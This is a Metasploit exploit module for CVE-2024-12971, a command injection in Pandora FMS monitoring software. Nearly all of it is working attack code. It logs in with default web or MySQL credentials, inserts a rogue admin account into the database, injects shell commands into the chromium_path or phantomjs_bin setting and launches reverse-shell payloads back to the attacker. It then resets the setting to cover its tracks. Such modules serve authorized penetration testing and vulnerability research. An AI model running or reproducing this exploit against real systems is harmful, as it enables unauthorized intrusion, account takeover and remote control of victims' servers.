##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/mysql/client'
require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include BCrypt
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  # @!attribute [rw] mysql_client
  # @return [::Rex::Proto::MySQL::Client]
  attr_accessor :mysql_client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin',
        'Description' => %q{
          Pandora FMS is a monitoring solution that provides full observability for your organization's
          technology. This module exploits an command injection vulnerability in the `chromium-path` or
          `phantomjs-bin` directory setting at the application settings page of Pandora FMS.
          You need have admin access at the Pandora FMS Web application in order to execute this RCE.
          This access can be achieved by knowing the admin credentials to access the web application or
          leveraging a default password vulnerability in Pandora FMS that allows an attacker to access
          the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
          Pandora FMS Web application. This attack can be remotely executed over the WAN as long as the
          MySQL services are exposed to the outside world.
          This issue affects Community, Free and Enterprise editions:
          - chromium-path: from v7.0NG.768 through <= v7.0NG.780
          - phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767

          Note: use target setting 2 "Tiny Reverse Netcat Command" for versions <= v7.0NG.738
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
        ],
        'References' => [
          ['CVE', '2024-12971'],
          ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
          ['URL', 'https://attackerkb.com/topics/BJe14wkMYS/cve-2024-12971']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'php'],
        'Privileged' => false,
        'Arch' => [ARCH_CMD, ARCH_PHP],
        'Targets' => [
          [
            'PHP Command',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              },
              'Payload' => {
                'Encoder' => 'php/base64',
                'BadChars' => "\x20"
              }
            }
          ],
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
              },
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x20"
              }
            }
          ],
          [
            'Tiny Reverse Netcat Command (use THIS for versions <= v738)',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Type' => :tiny_netcat_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-03-17',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Pandora FMS application', '/pandora_console']),
      OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandora']),
      OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'Pandor4!']),
      OptString.new('DB_NAME', [true, 'Pandora database', 'pandora']),
      OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
      OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
      OptString.new('PASSWORD', [false, 'Pandora web admin password', 'pandora'])
    ])
  end

  # MySQL login
  # returns true if successful else false
  def mysql_login(host, user, password, db, port)
    begin
      self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
    rescue Errno::ECONNREFUSED
      print_error('Connection refused')
      return false
    rescue ::Rex::Proto::MySQL::Client::ClientError
      print_error('Connection timedout')
      return false
    rescue Errno::ETIMEDOUT
      print_error('Operation timedout')
      return false
    rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
      print_error('Unable to login from this host due to policy')
      return false
    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
      print_error('Access denied')
      return false
    rescue StandardError => e
      print_error("Unknown error: #{e.message}")
      return false
    end
    true
  end

  # MySQL query
  # returns query result if successful (can be nil) else returns false
  def mysql_query(sql)
    begin
      res = mysql_client.query(sql)
    rescue ::Rex::Proto::MySQL::Client::Error => e
      print_error("MySQL Error: #{e.class} #{e}")
      return false
    rescue Rex::ConnectionTimeout => e
      print_error("Timeout: #{e.message}")
      return false
    rescue StandardError => e
      print_error("Unknown error: #{e.message}")
      return false
    end
    res
  end

  # login at the Pandora FMS web application
  # return true if login successful else false
  def pandora_login(name, pwd)
    # first login GET request to get csrf code
    # in older versions of Pandora FMS this csrf code is not implemented
    # but for the sake of simplicity we still execute this GET request
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'login' => 1
      }
    })
    return false unless res&.code == 200

    # scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden"  value="d3ec1cae43fba8259079038548093ba8" />
    html = res.get_html_document
    csrf_code_html = html.at('input[@id="hidden-csrf_code"]')
    vprint_status("csrf_code_html: #{csrf_code_html}")

    csrf_attributes = csrf_code_html&.attributes
    return false unless csrf_attributes

    csrf_code = csrf_attributes['value']
    return false unless csrf_code

    vprint_status("csrf_code: #{csrf_code}")

    # second login POST request using the csrf code
    # csrf_code can be nil in older versions where the csrf_code is not implemented
    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'login' => 1
      },
      'vars_post' => {
        'nick' => name,
        'pass' => pwd,
        'Login_button' => "Let's go",
        'csrf_code' => csrf_code
      }
    })
    return false unless res&.code == 200

    res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
  end

  # configure directory path setting based on the path_setting chromium_path or phantomjs_bin.
  # return true if successful else false
  def configure_path_setting(path, path_setting)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_get' => {
        'sec' => 'gsetup',
        'sec2' => 'godmode/setup/setup',
        'section' => 'general',
        'pure' => nil
      },
      'vars_post' => {
        'update_config' => 1,
        'remote_config' => '/var/spool/pandora/data_in',
        'general_network_path' => '/var/spool/pandora/data_in',
        'check_conexion_interval' => 180,
        path_setting.to_s => path.to_s,
        'update_button' => 'Update'
      }
    })
    return res&.code == 200
  end

  # CVE-2024-12971: Command Injection leading to RCE via chromium_path or phantomjs_bin setting
  def execute_command(cmd, vuln_path_setting, _opts = {})
    case target['Type']
    when :php_cmd
      payload = "/;php${IFS}-r\"#{cmd}\";"
    when :unix_cmd
      payload = "/;#{cmd};"
    when :tiny_netcat_cmd
      payload = "/;#{cmd.gsub(' ', '${IFS}')};"
    else
      fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.")
    end
    vprint_status("payload: #{payload}")
    @clean_payload = true
    configure_path_setting(payload, vuln_path_setting)
  end

  def cleanup
    # try to remove the payload from the path settings to cover our tracks
    # but do not run during the check phase
    super
    unless @check_running
      # Disconnect from MySQL server
      mysql_client.close if mysql_client
      # check if payload should be removed
      if @clean_payload
        if @vuln_path_setting == 'chromium_path'
          res = configure_path_setting('/usr/bin/chromium-browser', @vuln_path_setting)
        else
          res = configure_path_setting('/usr/bin', @vuln_path_setting)
        end
        if res
          print_good("Payload is successful removed from #{@vuln_path_setting} path configuration.")
        else
          print_warning("Payload might not be removed from #{@vuln_path_setting} path configuration. Check and try to clean it manually.")
        end
      end
    end
  end

  def check
    @check_running = true
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    })
    return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
    unless res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS')
      return CheckCode::Safe('Target is not a Pandora FMS application.')
    end

    html = res.get_html_document
    full_version = html.at('div[@id="ver_num"]')
    if full_version.blank?
      @vuln_path_setting = 'chromium_path'
      return CheckCode::Detected("Could not determine the Pandora FMS version. Use exploit with #{@vuln_path_setting} RCE")
    end

    full_version = full_version.text
    version = full_version[1..].sub('NG', '')
    if version.blank?
      @vuln_path_setting = 'chromium_path'
      return CheckCode::Detected("Could not determine the Pandora FMS version. Use exploit with #{@vuln_path_setting} RCE")
    end

    version = Rex::Version.new(version)
    # check if version is between v7.0NG.768 and v7.0NG.780 where the chromium_path setting is vulnerable
    if version >= Rex::Version.new('7.0.768') && version <= Rex::Version.new('7.0.780')
      @vuln_path_setting = 'chromium_path'
      return CheckCode::Appears("Found #{@vuln_path_setting} RCE. Pandora FMS version #{full_version}")
    end
    # check if version is between v7.0NG.724 and v7.0NG.767 where the phantomjs_bin setting is vulnerable
    if version >= Rex::Version.new('7.0.724') && version <= Rex::Version.new('7.0.767')
      @vuln_path_setting = 'phantomjs_bin'
      return CheckCode::Appears("Found #{@vuln_path_setting} RCE. Pandora FMS version #{full_version}")
    end
    CheckCode::Safe("Pandora FMS version #{full_version}")
  end

  def exploit
    @check_running = false
    @vuln_path_setting = 'chromium_path' if @vuln_path_setting.nil?

    # check if we can login at the Pandora Web application with the default admin credentials
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora FMS Web application.")
    unless pandora_login(username, password)
      # connect to the PostgreSQL DB with default credentials
      print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
      mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
      fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res

      # add a new admin user
      username = Rex::Text.rand_text_alphanumeric(5..8).downcase
      password = Rex::Text.rand_password

      # check the password hash algorithm by reading the password hash of the admin user
      # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
      mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_user = 'admin';")
      fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
      hash = mysql_query_res.fetch_hash
      if hash['password'].match(/^\$2.\$/)
        password_hash = Password.create(password)
      else
        password_hash = Digest::MD5.hexdigest(password)
      end
      print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora FMS Web application.")
      mysql_query_res = mysql_query("INSERT INTO tusuario (id_user, password, is_admin) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
      fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false

      # log in with the new admin user credentials at the Pandora FMS Web application
      print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora FMS Web application.")
      fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora FMS application.') unless pandora_login(username, password)
    end
    print_status('Succesfully authenticated at the Pandora FMS Web application.')

    # storing credentials at the msf database
    print_status('Saving admin credentials at the msf database.')
    store_valid_credential(user: username, private: password)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd, :php_cmd, :tiny_netcat_cmd
      execute_command(payload.encoded, @vuln_path_setting)
    else
      fail_with(Failure::BadConfig, "Unsupported target type: #{target['Type']}.")
    end
  end
end